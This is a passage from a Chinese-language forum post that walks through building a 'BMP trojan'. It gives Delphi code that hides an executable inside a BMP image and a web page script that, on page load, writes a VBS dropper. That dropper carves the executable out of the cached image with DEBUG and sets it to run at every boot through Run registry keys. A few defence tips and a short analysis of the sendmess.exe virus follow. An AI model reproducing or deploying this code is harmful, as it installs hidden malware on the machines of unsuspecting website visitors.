PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.


以上程式碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家開啟MSDOS方式,輸入
exe2bmp myexe.exe mybmp.bmp
Enter鍵就可以把第二個參數所指定的EXE文件轉換成BMP格式.
接著就是把這個BMP圖片放到網頁上了,如果大家開啟過這張圖片的話,一定發現這張BMP又花,顏色又單調.所以大家放在網頁上最好用這樣的格式
<img srd="mybmp.bmp" higth="0" width="0">


以下是放在網頁上的指令碼
document.write('' '');
function docsave()
{
a=document.applets[0];
a.setCLSID(''{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}'');
a.createInstance();
wsh=a.GetObject();
a.setCLSID(''{0D43FE01-F093-11CF-8940-00A0C9054228}'');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys+''\\s.vbs'';
wsh.RegWrite
(''HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs'',''wscript ''+''"''+vbs+''" '');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine(''Option Explicit'');
st.WriteLine(''Dim FSO,WSH,CACHE,str'');
st.WriteLine(''Set FSO = CreateObject("Scripting.FileSystemObject")'');
st.WriteLine(''Set WSH = CreateObject("WScript.Shell")'');
st.WriteLine(''CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\快取")'');
st.WriteLine(''wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")'');
st.WriteLine (''wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"'');
st.WriteLine(''SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"'');
st.WriteLine(''WScript.Quit()'');
st.WriteLine(''Function SearchBMPFile(Folder,fname)'');
st.WriteLine('' Dim SubFolder,File,Lt,tmp,winsys'');
st.WriteLine('' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname'');
st.WriteLine('' if FSO.FileExists(str) then'');
st.WriteLine('' tmp=fso.GetSpecialFolder(2) & "\\"'');
st.WriteLine('' winsys=fso.GetSpecialFolder(1) & "\\"'');
st.WriteLine('' set File=FSO.GetFile(str)'');
st.WriteLine('' File.Copy(tmp & "tmp.dat")'');
st.WriteLine('' File.Delete'');
st.WriteLine('' set Lt=FSO.CreateTextFile(tmp & "tmp.in")'');
st.WriteLine('' Lt.WriteLine("rbx")'');
st.WriteLine('' Lt.WriteLine("0")'');
st.WriteLine('' Lt.WriteLine("rcx")'');
st.WriteLine('' Lt.WriteLine("1000")'');
st.WriteLine('' Lt.WriteLine("w136")'');
st.WriteLine('' Lt.WriteLine("q")'');
st.WriteLine('' Lt.Close'');
st.WriteLine('' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6'');
st.WriteLine('' On Error Resume Next '');
st.WriteLine('' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")'');
st.WriteLine('' FSO.GetFile(tmp & "tmp.dat").Delete'');
st.WriteLine('' FSO.GetFile(tmp & "tmp.in").Delete'');
st.WriteLine('' FSO.GetFile(tmp & "tmp.out").Delete'');
st.WriteLine('' end if'');
st.WriteLine('' If Folder.SubFolders.Count <> 0 Then'');
st.WriteLine('' For Each SubFolder In Folder.SubFolders'');
st.WriteLine('' SearchBMPFile SubFolder,fname'');
st.WriteLine('' Next'');
st.WriteLine('' End If'');
st.WriteLine(''End Function'');
st.Close();
}
setTimeout(''docsave()'',1000);

把該指令碼儲存為"js.js",在網頁中插入:
<script src="js.js"></script>

該指令碼主要會在本機機器的SYSTEM目錄下產生一個「S.VBS」文件,該指令碼文件會在下次開機時自動執行。主要用於從臨時目錄中找出mybmp[1].bmp文件。
「S.VBS」文件主要內容如下:

Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\快取")
wsh.RegDelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\vbs")
wsh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tmp","tmp.exe"
SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
''從臨時資料夾中搜尋目標BMP圖片
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
File.Delete
''產生一個DEBUG指令碼
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
''下面一行的1000是十六進制,換回十進制是4096(該數位是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function

這個指令碼會找出在臨時資料夾中的bmp文件,並產生一個DEBUG的指令碼,執行時會自動從BMP文件54字元處讀去你指定大小的資料,並把它儲存到tmp.dat中.後面的指令碼再把它複製到SYSTEM的目錄下.這個被還原的EXE文件會在下次重新啟動的時候執行.這就是BMP木馬的基本實現程序.
詳細指令碼程式碼請參考http://hotsky.363.net

防範方法:
最簡單,移除或改名wscrpit.exe文件和DEBUG 文件;
安裝有效的殺毒軟體,因為這些指令碼有好多殺毒軟體已經可以查出來了.
在條件允許的情況下,安裝WIN2K SP3,盡量避免去一些不名來歷的網站.

剛剛淺淺的看了一下sendmess.exe病毒
很老了。我在學校機房上網,沒殺毒軟體。
sendmess.exe執行後將邦在自身尾部的qqmess.dll copy到c:\windows\system下並載入。將自身拷到c:\windows下,將
import表作為文本文件命名為qq32.ini拷到c:\windows下。
在註冊表HKLM\Software\Microsoft\windows\currentversion\run下新增名為qq的鍵,指向c:\windows\sendmess.exe使之開機時執行
qq32.ini中所存的文本為qq發訊息時候面加的不健康網站的網址。
並將主頁改為此網址。
殺它很簡單:od附加上sendmess.exe.結束行程。也可以用peid.
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 04:32 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1